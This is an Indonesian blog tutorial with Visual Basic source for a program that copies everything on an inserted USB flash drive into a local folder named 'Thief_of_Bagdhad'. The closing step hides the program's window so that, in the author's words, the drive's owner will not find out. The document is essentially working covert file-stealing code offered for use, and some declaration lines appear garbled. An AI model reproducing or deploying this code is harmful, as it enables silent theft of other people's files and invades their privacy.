vb - Membuat Aplikasi Mengcopy isi FlashDisk

Tutorial kali ini akan saya bahas bagaimana cara membuat aplikasi untuk mengcopy seisi FlashDisk ke komputer kalian, sebenernya ini ga bagus sih.Tapi untuk sekedar pengetahuan kalian dan untuk digunakan sebaik-baiknya ajah yaa...
Untuk lebih jelasnya silahkan ikuti step-step berikut ini.

1. Buatlah Module di VB yang nanti fungsinya untuk membaca File berekstensi .ini
  1. Declare Function _  
  2. GetPrivateProfileString _  
  3. Lib "kernel32.dll" _  
  4. Alias "GetPrivateProfileStringA" _  
  5. ( _  
  6. ByVal lpApplicationName As String, _  
  7. ByVal lpKeyName As Any, _  
  8. ByVal lpDefault As String, _  
  9. ByVal lpReturnedString As String, _  
  10. ByVal nSize As Long, _  
  11. ByVal lpFileName As String _  
  12. ) _  
  13. As Long  
  14. '  
  15. Declare Function _  
  16. WritePrivateProfileString _  
  17. Lib "kernel32.dll" _  
  18. Alias "WritePrivateProfileStringA" _  
  19. ( _  
  20. ByVal lpApplicationName As String, _  
  21. ByVal lpKeyName As String, _  
  22. ByVal lpString As String, _  
  23. ByVal lpFileName As String _  
  24. ) _  
  25. As Long  
  26.   
  27. Public mySize          As String * 255  
  28. Public myNilai         As String  
  29. Public NilaiAkhir      As String  
  30.   
  31. Function AmbilSimpan( _  
  32.     xHeader As String, _  
  33.     xKunci As String, myFile$) As Variant  
  34.     '  
  35.     myNilai = _  
  36.             GetPrivateProfileString(xHeader, _  
  37.             xKunci, "", mySize, 500, myFile)  
  38.              
  39.     NilaiAkhir = Left(mySize, myNilai)  
  40. End Function  
  41.   
  42. Function BacaSimpan(xHeader As String, _  
  43.     xKunci As String, myFile$) As String  
  44.     AmbilSimpan xHeader, xKunci, myFile$  
  45.     BacaSimpan = NilaiAkhir  
  46. End Function  
  47.   
  48. Function TulisSimpan( _  
  49.     xHeader As String, _  
  50.     xKunci As String, _  
  51.     nSimpan As String, myFile$)  
  52.     Dim XWRITE$  
  53.     '  
  54.     XWRITE = _  
  55.         WritePrivateProfileString( _  
  56.         xHeader, _  
  57.         xKunci, _  
  58.         nSimpan, myFile)  
  59. End Function  
2. Lalu kalian buat Tampilah Form Seperti Dibawah ini (atau bebas design nya)
Copy dan paste pada Coding Dialog

  •  3 buah ListBox dengan nama : LstFolder, LstFile dan LstFolderCopy
  •  1 buah Timer
  •  1 Command Button
  1. Option Explicit  
  2. Private Declare Function GetFileAttributes Lib _  
  3. "kernel32" Alias "GetFileAttributesA" ( _  
  4. ByVal lpFileName As StringAs Long  
  5. Private Declare Function CreateDirectory Lib "kernel32" Alias _  
  6. "CreateDirectoryA" (ByVal lpPathName As String, _  
  7. lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long  
  8. Private Declare Function CopyFile Lib "kernel32" _  
  9. Alias "CopyFileA" (ByVal lpExistingFileName As String, _  
  10. ByVal lpNewFileName As StringByVal bFailIfExists As LongAs Long  
  11. Private Type SECURITY_ATTRIBUTES  
  12.         nLength As Long  
  13.         lpSecurityDescriptor As Long  
  14.         bInheritHandle As Long  
  15. End Type  
  16. Private Const ARRAY_INITIAL = 10000  
  17. Private Const ARRAY_INCREMENT = 10000  
  18. Dim Berhenti As Boolean  
  19. Dim Berhenti2 As Boolean  
  20. Dim aryDrive(20) As String  
  21. Dim NamaFolder As String  
  22. Sub FindFolder(BeginPath As String)  
  23.     On Error Resume Next  
  24.      
  25.     Dim i As Long  
  26.     Dim j As Long  
  27.     Dim idx As Integer  
  28.     Dim limit As Integer  
  29.     Dim lAttr As Long  
  30.      
  31.     Dim srchstr$  
  32.     Dim sFileName As String  
  33.     Dim sfoldername As String  
  34.      
  35.     Dim strFolderName As String  
  36.     Dim strFileName As String  
  37.     Dim myParentFolder As String  
  38.     Dim myFolderPath As String  
  39.     Dim myFolderName As String  
  40.      
  41.     ReDim arrFiles(ARRAY_INITIAL)  
  42.      
  43.     On Error GoTo errHandle  
  44.      
  45.     idx = 0  
  46.      
  47.     If Right(BeginPath, 1) = "\" Then 
  48.         BeginPath = Mid(BeginPath, 1, Len(BeginPath) - 1) 
  49.     End If 
  50.     
  51.     BeginPath = BeginPath & "\" 
  52.     
  53.     arrFiles(0) = BeginPath 
  54.     limit = 1 
  55.     
  56.     Me.lstFolder.Clear 
  57.     Me.lstFile.Clear 
  58.     
  59.     Do While idx < limit And Berhenti = False 
  60.     DoEvents 
  61.         sfoldername = arrFiles(idx) 
  62.         
  63.         sFileName = Dir(sfoldername & srchstr, _ 
  64.         vbDirectory Or vbHidden Or _ 
  65.         vbReadOnly Or vbSystem Or vbArchive) 
  66.          
  67.         Do While sFileName <> "" And Berhenti2 = False 
  68.         
  69.             strFileName = sfoldername & sFileName 
  70.              
  71.             lAttr = GetFileAttributes(strFileName) 
  72.             
  73.             If (lAttr >= 16 And lAttr <= 23) Or _ 
  74.             (lAttr >= 48 And lAttr <= 55) Then 
  75.                 
  76.                 If sFileName <> "." And sFileName <> ".." Then 
  77.                    arrFiles(limit) = strFileName & "\" 
  78.                     limit = limit + 1 
  79.                     
  80.                     strFolderName = sFileName 
  81.                     
  82.                     Me.lstFolder.AddItem strFileName 
  83.                     Me.lstFolderCopy.AddItem NamaFolder & Mid(strFileName, 3) 
  84.                     DoEvents 
  85.                     ' 
  86.                 End If 
  87.             ElseIf Not (lAttr >= 16 And lAttr <= 23) Or _ 
  88.             (lAttr >= 48 And lAttr <= 55) Then 
  89.                 Me.lstFile.AddItem strFileName 
  90.                 Me.lstFileCopy.AddItem NamaFolder & Mid(strFileName, 3) 
  91.             End If 
  92.             sFileName = Dir 
  93.             
  94.         Loop 
  95.         idx = idx + 1 
  96.          DoEvents 
  97.          
  98.     Loop 
  99.     ReDim Preserve arrFiles(limit - 1) 
  100.     
  101.     Exit Sub 
  102. errHandle: 
  103.     If Err.Number = 9 Then 
  104.         ReDim Preserve arrFiles(UBound(arrFiles) + _ 
  105.             ARRAY_INCREMENT) 
  106.         Resume 
  107.     Else 
  108.         'Err.Raise Err.Number 
  109.     End If 
  110. End Sub 
  111. Sub DoitNow(strDrives As String) 
  112. On Error Resume Next 
  113.     NamaFolder = "C:\Thief_of_Bagdhad\" & Format(Now, "ddmmyy-hhmmss") 
  114.     
  115.     If FolderAda(NamaFolder) = False Then 
  116.         MkDir NamaFolder 
  117.     End If 
  118.     
  119.     
  120.     Me.lstFile.Clear 
  121.     Me.lstFolder.Clear 
  122.     Me.lstFileCopy.Clear 
  123.     Me.lstFolderCopy.Clear 
  124.     
  125.     FindFolder strDrives 
  126.     CreateFolderCopy 
  127. End Sub 
  128. Sub CreateFolderCopy() 
  129. On Error Resume Next 
  130.     Dim i As Long 
  131.     Dim n As SECURITY_ATTRIBUTES 
  132.     Dim l As Long 
  133.     Dim Nilai As Long 
  134.     
  135.     If Me.lstFolderCopy.ListCount = 0 Then Exit Sub 
  136.     
  137.     l = 0 
  138.     For i = 0 To Me.lstFolderCopy.ListCount - 1 
  139.         CreateDirectory Me.lstFolderCopy.List(i), n 
  140.         l = l + 1 
  141.         'Me.picBar.Cls 
  142.         Nilai = Fix((l / Me.lstFileCopy.ListCount) * 100) 
  143.         'Me.picBar.Line (0, 0)-Step(Nilai, 1), vbWhite, BF 
  144.         DoEvents 
  145.     Next 
  146.     
  147.     l = 0 
  148.     For i = 0 To Me.lstFileCopy.ListCount - 1 
  149.         l = l + 1 
  150.         'Me.picBar.Cls 
  151.         CopyFile Me.lstFile.List(i), Me.lstFileCopy.List(i), 1 
  152.         Nilai = Fix((l / Me.lstFileCopy.ListCount) * 100) 
  153.         'Me.picBar.Line (0, 0)-Step(Nilai, 1), vbWhite, BF 
  154.         DoEvents 
  155.     Next 
  156.     
  157.     'Me.picBar.Cls 
  158. End Sub 
  159. Private Sub Command1_Click() 
  160. Me.BacaDrive 
  161. End 
  162. End Sub 
  163. Private Sub Form_Load() 
  164.     If FolderAda("C:\Thief_of_Bagdhad") = False Then 
  165.         MkDir "C:\Thief_of_Bagdhad" 
  166.     End If 
  167. End Sub 
  168. Function FolderAda(NamaFolder$) As Boolean 
  169. On Error Resume Next 
  170.     Dim FSO As Object, myFile 
  171.     Set FSO = CreateObject("Scripting.FileSystemObject") 
  172.     
  173.     If FSO.FolderExists(NamaFolder$) = True Then 
  174.         FolderAda = True 
  175.     End If 
  176.      
  177.     Set FSO = Nothing 
  178. End Function 
  179. Function FileAda(NamaFile$) As Boolean 
  180. On Error Resume Next 
  181.     Dim FSO As Object, myFile 
  182.     Set FSO = CreateObject("Scripting.FileSystemObject") 
  183.     
  184.     If FSO.FileExists(NamaFile$) = True Then 
  185.         FileAda = True 
  186.     End If 
  187.      
  188.     Set FSO = Nothing 
  189. End Function 
  190. Sub BacaDrive() 
  191.     Dim strMyDrive As String 
  192.     Dim Pisah() As String 
  193.     Dim i As Integer 
  194.     Dim s As String 
  195.     
  196.     strMyDrive = BacaSimpan("LOKASIFD", "DRIVE", App.Path & "\Conf.ini") 
  197.     
  198.     Pisah = Split(strMyDrive, ";") 
  199.     
  200.     For i = LBound(Pisah) To UBound(Pisah) 
  201.         s = Pisah(i) 
  202.         
  203.         DoitNow Left(s, 1) & ":\"  
  204.         Beep  
  205.          
  206.         DoEvents  
  207.     Next  
  208. End Sub  
3. Terakhir kalian buat sebuah file menggunakan notepad dengan nama conf.ini Copy dan paste code dibawah
     isi lokasi drive lokasi flasdisk berada
     jangan lupa, simpan ditempat yang sama dengen programnya
Isi file Conf.ini

4. Oke, sudah selesai sampai disini...
    Coba kalian run programnya

    Percobaan dengan cara :
                            A. Tes Masukan Flash Disk misalnya ada di drive E:
                            B. Jalanin Program : klik tombol copy ...
                            C. otomatis semua isi flash disk di copy ke folder C:\Thief_of_Bagdhad\
   wah kalau begini masih ketahuan ama yang punya FlashDisk,gimana biar ga ketahuan???
Caranya cukup mudah, kalian tambahkan lagi Listing pada event  Form_Load
  1. Me.hide  
  2. Me.BacaDrive  
  3. End  
jalankan program ...
dan program tidak akan keliatan...




Share

source http://vbsource-code.blogspot.com/2012/01/13607593451077.html